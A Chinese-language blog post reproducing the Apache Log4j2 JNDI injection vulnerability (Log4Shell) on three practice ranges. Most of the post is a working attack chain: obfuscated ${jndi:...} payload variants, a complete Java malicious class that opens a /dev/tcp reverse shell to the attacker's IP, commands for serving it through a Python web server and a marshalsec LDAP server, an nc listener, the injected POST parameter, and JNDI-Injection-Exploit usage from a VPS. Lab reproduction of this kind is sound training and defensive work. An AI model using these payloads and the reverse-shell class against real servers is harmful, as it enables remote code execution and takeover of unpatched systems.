Loading

Apache Log4j2漏洞复现-反弹shell

0X00-引言


过年了,放炮

这个漏洞真牛逼,日天,日地,日空气

2021年12月10日凌晨,我正坐在马桶上,突然看到厕纸上面出现一串神秘代码${jndi:ldap://kao5b1ig.ns.dns3.cf.} ,我赶紧起身,打开电脑一看,网页dnslog弹出记录,我大惊,紧接着,我的手机,耳机,甚至我的台灯都弹出这串神秘代码。我踉跄的后退一步,心中默念,完了,完了,世界将长久苦于这串代码。

仅供学习参考,不得用于违法途径,一切行为与博主无关

0X01-环境搭建


靶场:

http://d63bb2586.lab.aqlab.cn/

CentOS7

vulfocus

攻击机:kali VPS

工具:burpsuite marshalsec-0.0.3-SNAPSHOT-all.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下文有下载链接

0X02-漏洞描述


360漏洞云:https://mp.weixin.qq.com/s/V4oSpmdIrlxPSsrpUXMNLA

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

经360漏洞云安全专家研判,log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。该漏洞利用方式简单,危害严重,官方已经发布该产品的最新版本,建议用户尽快升级组件,修复缓解该漏洞。Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

payload变种

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

0X03-漏洞复现


01-CentOS搭建靶场反弹shell

01-搭建靶场和下载工具

参考:https://github.com/fengxuangit/log4j_vuln

下载工具:后面用

https://github.com/RandomRobbieBF/marshalsec-jar

靶场搭建-大佬写的-直接在虚拟机运行以下命令就可以

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

访问:http://192.168.234.128:8080/webstudy/hello-fengxuan

image-20211214213942055

burp抓包修改为POST方法

image-20211214214050945

02-编写恶意类-开启Web服务

EXP:注意反弹shell用bash -i >& /dev/tcp/ip/port 0>&1不可以,需要用exec

public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

javac编译-我把下载的工具都放在一个文件夹内

image-20211214215434781

开启web服务

python3 -m http.server 888  #python3中开启web服务
python -m SimpleHTTPServer 888 #python2

image-20211214215645743

访问

image-20211214215938459

03-工具开启LDAP服务

映射端口888为1234

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.234.135:888/#Exploit" 1234

image-20211214220112912

04-反弹shell

开启nc监听

nc  -lvvp  12345

image-20211214220256663

burp修改包添加payload-发送

POST参数为c

c=${jndi:ldap://192.168.234.135:1234/Exploit}

image-20211214220446604

成功弹出shell

image-20211214220533689

02-掌控安全靶场反弹shell

使用VPS做攻击机

靶场:http://d63bb2586.lab.aqlab.cn/若是关闭了-自己进入掌控安全首页开启-之前的靶场-可以用

01-dnslog记录

POC:

${jndi:ldap://example.com}  

打开DNSLOG平台:https://dns.咕.com/ 或 dnslog.cn/

image-20211211215708639

打开靶场:http://d63bb2586.lab.aqlab.cn/

image-20211211215358537

点击提交

image-20211211215650197

DNS平台出现记录-验证漏洞存在

image-20211211215825533

02-靶场反弹shell

EXP:注意修改IP

public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

VPS执行命令-和kali流程一样

上传文件-编译

python -m SimpleHTTPServer 888  #开启web服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsIP:888/#Exploit" 1234  #开启LDAP服务
nc -lvvp 12345  #监听

payload:

${jndi:ldap://VPSIP:1234/Exploit}

image-20211214222831908

成功弹出shell

image-20211214222915496

03-vulfocus靶场反弹shell

攻击机VPS-和上面操作有些区别

此种操作不适合上面两个靶场-个人感觉原因是恶意类中反弹shell命令不一样-但是我把命令更换之后还是不行,淦

换一种工具下载链接如下

https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
01-进入靶场

image-20211214223418853

image-20211214223443695

02-反弹shell命令编码

网站:https://www.jackson-t.ca/runtime-exec-payloads.html

image-20211214224903608

03-VPS执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "以上编码后的命令放入这里" -A "VPSIP"

image-20211214225152573

上图生成紫红色的链接每个都试一下

开启监听

burp抓包-修改-发送

image-20211214225519266

04-反弹成功

image-20211214225608214

0X04-工具检测


Log4j 远程代码执行漏洞多线程批量检测利用工具

0X05-免责声明


仅供学习参考,勿用于非法用途!

一切的一切与本作者无关

0X06-失败原因


JDK版本有问题

jdk对比

弹不了shell可能因为防火墙,也可能因为恶意类中反弹shell命令

0X07-参考


https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ

反弹shell

反弹shell的各种姿势

https://zhuanlan.zhihu.com/p/443640671

https://github.com/fengxuangit/log4j_vuln

https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ

https://mp.weixin.qq.com/s/FOFLY4kDb42LGcEHN0vKmQ

https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

posted @ 2021-12-21 22:16  美式加糖  阅读(7346)  评论(0编辑  收藏  举报